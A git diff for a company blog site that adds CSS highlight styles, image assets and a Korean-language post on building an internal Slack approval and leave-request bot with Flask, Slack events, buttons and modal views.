.kr { + color: #66d9ef; +} +.highlight .no { + color: #66d9ef; +} +.highlight .kt { + color: #66d9ef; +} +.highlight .mf { + color: #ae81ff; +} +.highlight .mh { + color: #ae81ff; +} +.highlight .il { + color: #ae81ff; +} +.highlight .mi { + color: #ae81ff; +} +.highlight .mo { + color: #ae81ff; +} +.highlight .m, .highlight .mb, .highlight .mx { + color: #ae81ff; +} +.highlight .sc { + color: #ae81ff; +} +.highlight .se { + color: #ae81ff; +} +.highlight .ss { + color: #ae81ff; +} +.highlight .sd { + color: #e6db74; +} +.highlight .s2 { + color: #e6db74; +} +.highlight .sb { + color: #e6db74; +} +.highlight .sh { + color: #e6db74; +} +.highlight .si { + color: #e6db74; +} +.highlight .sx { + color: #e6db74; +} +.highlight .s1 { + color: #e6db74; +} +.highlight .s, .highlight .sa, .highlight .dl { + color: #e6db74; +} +.highlight .na { + color: #a6e22e; +} +.highlight .nc { + color: #a6e22e; +} +.highlight .nd { + color: #a6e22e; +} +.highlight .ne { + color: #a6e22e; +} +.highlight .nf, .highlight .fm { + color: #a6e22e; +} +.highlight .vc { + color: #ffffff; + background-color: #272822; +} +.highlight .nn { + color: #ffffff; + background-color: #272822; +} +.highlight .nl { + color: #ffffff; + background-color: #272822; +} +.highlight .ni { + color: #ffffff; + background-color: #272822; +} +.highlight .bp { + color: #ffffff; + background-color: #272822; +} +.highlight .vg { + color: #ffffff; + background-color: #272822; +} +.highlight .vi { + color: #ffffff; + background-color: #272822; +} +.highlight .nv, .highlight .vm { + color: #ffffff; + background-color: #272822; +} +.highlight .w { + color: #ffffff; + background-color: #272822; +} +.highlight { + color: #ffffff; + background-color: #272822; +} +.highlight .n, .highlight .py, .highlight .nx { + color: #ffffff; + background-color: #272822; +} +.highlight .ow { + color: #f92672; +} +.highlight .nt { + color: #f92672; +} +.highlight .k, .highlight .kv { + color: #f92672; +} +.highlight .kn { + color: #f92672; +} +.highlight .kp { + color: #f92672; +} +.highlight .o { + color: #f92672; +} diff --git a/docs/assets/icons/blog_ic.png b/docs/assets/icons/blog_ic.png new file mode 100644 index 0000000..e8d3237 Binary files /dev/null and b/docs/assets/icons/blog_ic.png differ diff --git a/docs/assets/icons/facebook_ic.png b/docs/assets/icons/facebook_ic.png new file mode 100644 index 0000000..e422bfe Binary files /dev/null and b/docs/assets/icons/facebook_ic.png differ diff --git a/docs/assets/icons/twitter_ic.png b/docs/assets/icons/twitter_ic.png new file mode 100644 index 0000000..4ef5b83 Binary files /dev/null and b/docs/assets/icons/twitter_ic.png differ diff --git a/docs/assets/icons/youtube_ic.png b/docs/assets/icons/youtube_ic.png new file mode 100644 index 0000000..02818b3 Binary files /dev/null and b/docs/assets/icons/youtube_ic.png differ diff --git a/docs/assets/logo.png b/docs/assets/logo.png new file mode 100644 index 0000000..299a639 Binary files /dev/null and b/docs/assets/logo.png differ diff --git a/docs/assets/og_image.png b/docs/assets/og_image.png new file mode 100644 index 0000000..d9d0b23 Binary files /dev/null and b/docs/assets/og_image.png differ diff --git a/docs/assets/posts/thumbnails/20200619.jpg b/docs/assets/posts/thumbnails/20200619.jpg new file mode 100644 index 0000000..a564014 Binary files /dev/null and b/docs/assets/posts/thumbnails/20200619.jpg differ diff --git a/docs/assets/posts/thumbnails/apple.jpg b/docs/assets/posts/thumbnails/apple.jpg new file mode 100644 index 0000000..dff1ff3 Binary files /dev/null and b/docs/assets/posts/thumbnails/apple.jpg differ diff --git a/docs/assets/stealien.png b/docs/assets/stealien.png new file mode 100644 index 0000000..fafc1b6 Binary files /dev/null and b/docs/assets/stealien.png differ diff --git a/docs/assets/stealien_inverse.png b/docs/assets/stealien_inverse.png new file mode 100644 index 0000000..a341e7d Binary files /dev/null and b/docs/assets/stealien_inverse.png differ diff --git a/docs/assets/white_logo.png b/docs/assets/white_logo.png new file mode 100644 index 0000000..5f57076 Binary files /dev/null and b/docs/assets/white_logo.png differ diff --git a/docs/categories/Dev.html b/docs/categories/Dev.html new file mode 100644 index 0000000..8adc91d --- /dev/null +++ b/docs/categories/Dev.html @@ -0,0 +1,181 @@ + + + + + + + + + + +
이전에는 회사 인원이 많지 않아 별도의 관리 시스템이 없었는데, 회사의 구성원이 점점 많아지며 자연스럽게 결재 요청/승인/관리와 같은 프로세스를 체계적으로 관리할 수 있는 무언가가 필요했다.
+ +회사 내부에서는 예전부터 사내 메신저로 Slack을 사용해왔기 때문에 Slack에서 결재 프로세스를 관리해 보자는 의견이 있었고, 처음에는 이를 활용할 수 있는 Slack의 서드파티 앱들을 찾아보았다.
+ ++ |
---|
우리가 원하던 앱은 없었다. | +
하지만 HR/Approve/office/management 등 다양한 키워드로 검색해보기도 하고 관련 카테고리의 앱들을 찾아봤으나 마음에 드는 앱은 없었다.
+ +그 이후로도 몇가지 대안을 더 찾아보긴 했으나.. 최종적으로는 직접 구현하는게 가장 베스트라는 결론이 나왔다.
+ +첫번째로, slackbot의 이벤트를 처리해줄 웹서버가 필요하다. Flask를 사용해 Request 요청을 처리해주는 서버를 구축하고 외부에서 접속하기 위해 도메인 연결까지 모두 설정해 두었다.아저씨는 미리 준비해 왔어요
from flask import Flask
+app = Flask(__name__)
+@app.route("/slack_msg", methods=["POST"])
+def slack_msg():
+ slack_event = json.loads(request.data)
+ return make_response(slack_event["challenge"], 200, {"content_type": "application/json"})
+ # 서버의 검증을 위해 slackbot의 challenge 데이터를 리턴해야 하며, 서버 검증이 끝난 후 삭제해주면 된다.
+app.run(host="0.0.0.0", port=8391)
+
+이후 https://api.slack.com/apps에서 bot과 관련된 설정을 해준다.
+ |
---|
봇을 만들어주고 | +
+ |
---|
Event Subscriptions을 설정해 주고 | +
+ |
---|
미리 만들어둔 서버의 url을 입력한다. | +
이제 구축한 환경이 정상적으로 동작하는지 테스트해보자.
+ ++ |
slackbot에 dm을 보내보면
+ +{
+ ...
+ "event":{
+ ...
+ "elements":[
+ {
+ "type":"text",
+ "text":"Hello World!"
+ }
+ ]
+ },
+ }
+
이벤트가 잘 동작하는것을 볼 수 있다.
+ ++ |
---|
토큰은 외부에 노출되지 않도록 하자 | +
이제 상호작용을 하기 위해 slackbot의 token을 가져온 후
+ +from flask import Flask, request, make_response
+from slack import WebClient
+import json
+app = Flask(__name__)
+slack = WebClient(token="my-secret-token")
+@app.route("/slack_msg", methods=["POST"])
+def slack_msg():
+ slack_event = json.loads(request.data)
+ user_message = slack_event["event"]["blocks"][0]["elements"][0]["elements"][0]["text"]
+ user = slack_event["event"]["user"]
+ if user_message == "Hello World!":
+ slack.chat_postMessage(channel=user, text=user_message)
+
+ return make_response("", 200, {"X-Slack-No-Retry": 1})
+
+app.run(host="0.0.0.0", port=8391)
+
이런식으로 코드를 짜주면
+ ++ |
사용자와 slackbot이 상호작용 하는 것을 볼 수 있다.
+ +드디어 환경 구축이 끝났다. 이제 본격적으로 기능 구현에 들어가보자.
+ +가장 먼저 고민해야 할 부분은, “사용자의 요청을 어떻게 받는가” 이다.
+ +처음에는 텍스트 입력으로 사용자의 요청을 처리했다.
+ +@STLBOT
+$휴가신청
+휴가자 : 이창호
+휴가일시 : 7/1 ~ 12/31
+사유 : 개인사유
+
봇을 태그하는 것으로 “사용자가 요청을 보냈다” 라는 것을 알려주고, $로 요청 내용을 구분한 후 양식에 맞춰 내용을 작성하는 것이었다.
+ +하지만 이 방식을 사용했을 때 사용자는 신청할 때마다 내용을 복사 붙여넣기 해서 내용을 쓰고, 서버쪽에서는 요청 내용을 받아 정규식으로 처리해야 했기 때문에 양쪽 모두 번거로움이 있었다.
+ +이에 대한 대안으로 찾은 것이 slackbot의 modal이다.
+ ++ |
---|
자세한 내용은 https://api.slack.com/surfaces/modals/using 에서 확인할 수 있다. | +
modal은 개발자가 원하는 방식대로 폼을 만들어 두고 사용자는 폼에 맞게 입력만 해주면 요청을 처리해주는 방식인데, slack에서는 modal을 사용하면 사용자의 요청을 interactive하게 처리해줄 수 있다고 한다.
+ +실제로도 modal로 미리 폼을 만들어 두니 사용자는 값만 입력하면 되고 개발자는 정해진 서식에서 값을 가져오기만 하면 되기 때문에 기존 로직들을 훨씬 깔끔하게 처리할 수 있었다.
+ +modal을 사용하기 위해서는 사용자의 action을 처리할 수 있도록 설정해줘야 한다.(event와 action은 다르다.)
+ ++ |
---|
여기는 Event Subscriptions와는 다르게 등록하는 url의 검증과정이 필요하지 않다. | +
먼저 slackbot에서 action을 처리할 url을 등록해주자.
+ +request_buttons = [
+ {
+ "type":"actions",
+ "block_id":"msg_button_click",
+ "elements":[
+ {
+ "type":"button",
+ "action_id":"msg_button_click_vacation",
+ "text":{
+ "type":"plain_text",
+ "text":"휴가신청",
+
+ },
+ "value":"request_vacation_button"
+ }
+ ]
+ }
+ ]
+
+@app.route("/slack_msg", methods=["POST"])
+def slack_msg():
+ slack_event = json.loads(request.data)
+ user_message = slack_event["event"]["blocks"][0]["elements"][0]["elements"][0]["text"]
+ user = slack_event["event"]["user"]
+ if user_message == "휴가신청":
+ slack.chat_postMessage(channel=user, text=user_message, blocks=request_buttons)
+
특정 입력이 들어왔을 때 버튼이 생성되도록 코드를 짜주고
+ +@app.route("/action", methods=["POST"])
+def action():
+ slack_event = json.loads(request.form.get("payload"))
+ trigger_id = slack_event["trigger_id"]
+ #modal view를 열기 위해서는 action의 input data중 하나인 trigger_id가 필요하며 해당 값은 3초간 유효하다.
+ slack.views_open(trigger_id=trigger_id, view=modal.request_vacation)
+ return make_response("", 200, {"X-Slack-No-Retry": 1})
+
들어온 action을 처리할 코드를 짜준다.
+이렇게 해주면 slackbot을 (드디어)interactive하게 사용할 수 있다.
+ ++ |
지정한 input이 들어오면 버튼을 생성해주고
+ ++ |
---|
개발은 텍스트 input으로 받는게 더 쉬웠다는건 비밀 | +
버튼을 누르면 이런 창이 나온다.
+ +여기까지 왔으면 절반은 완성된거다. 나머지 필요한 로직들은 지금까지 개발했던 코드들을 활용해 주기만 하면 된다.
+ +이후 구현한 알고리즘은 아래와 같다.
+사용자가 요청을 Submit했을 때 관련 데이터는 /action으로 들어오게 되고, 그 다음은 입맛에 맞게 코딩하다 보면 어느순간 프로그램은 완성되어 있을 것이다.
+ +slackbot을 활용해 보면서 느낀 점은 slack을 활용하기에 따라서 만들 수 있는 것들이 무궁무진해 진다는 것이다.
+ +결재요청 프로그램을 만들고 나서 회사가 자율출퇴근제로 변경이 됐는데, 지금은 출결관리도 slackbot으로 하고 있다.
+ ++ |
---|
이거 만들려고 원래 있던 코드 싹 갈아 엎고 새로 만들었다. | +
위 기능은 slackbot의 app_home을 활용해 만들었으며, 관련된 내용은 다음에 기회가 된다면 포스팅 할 예정이다.
+ +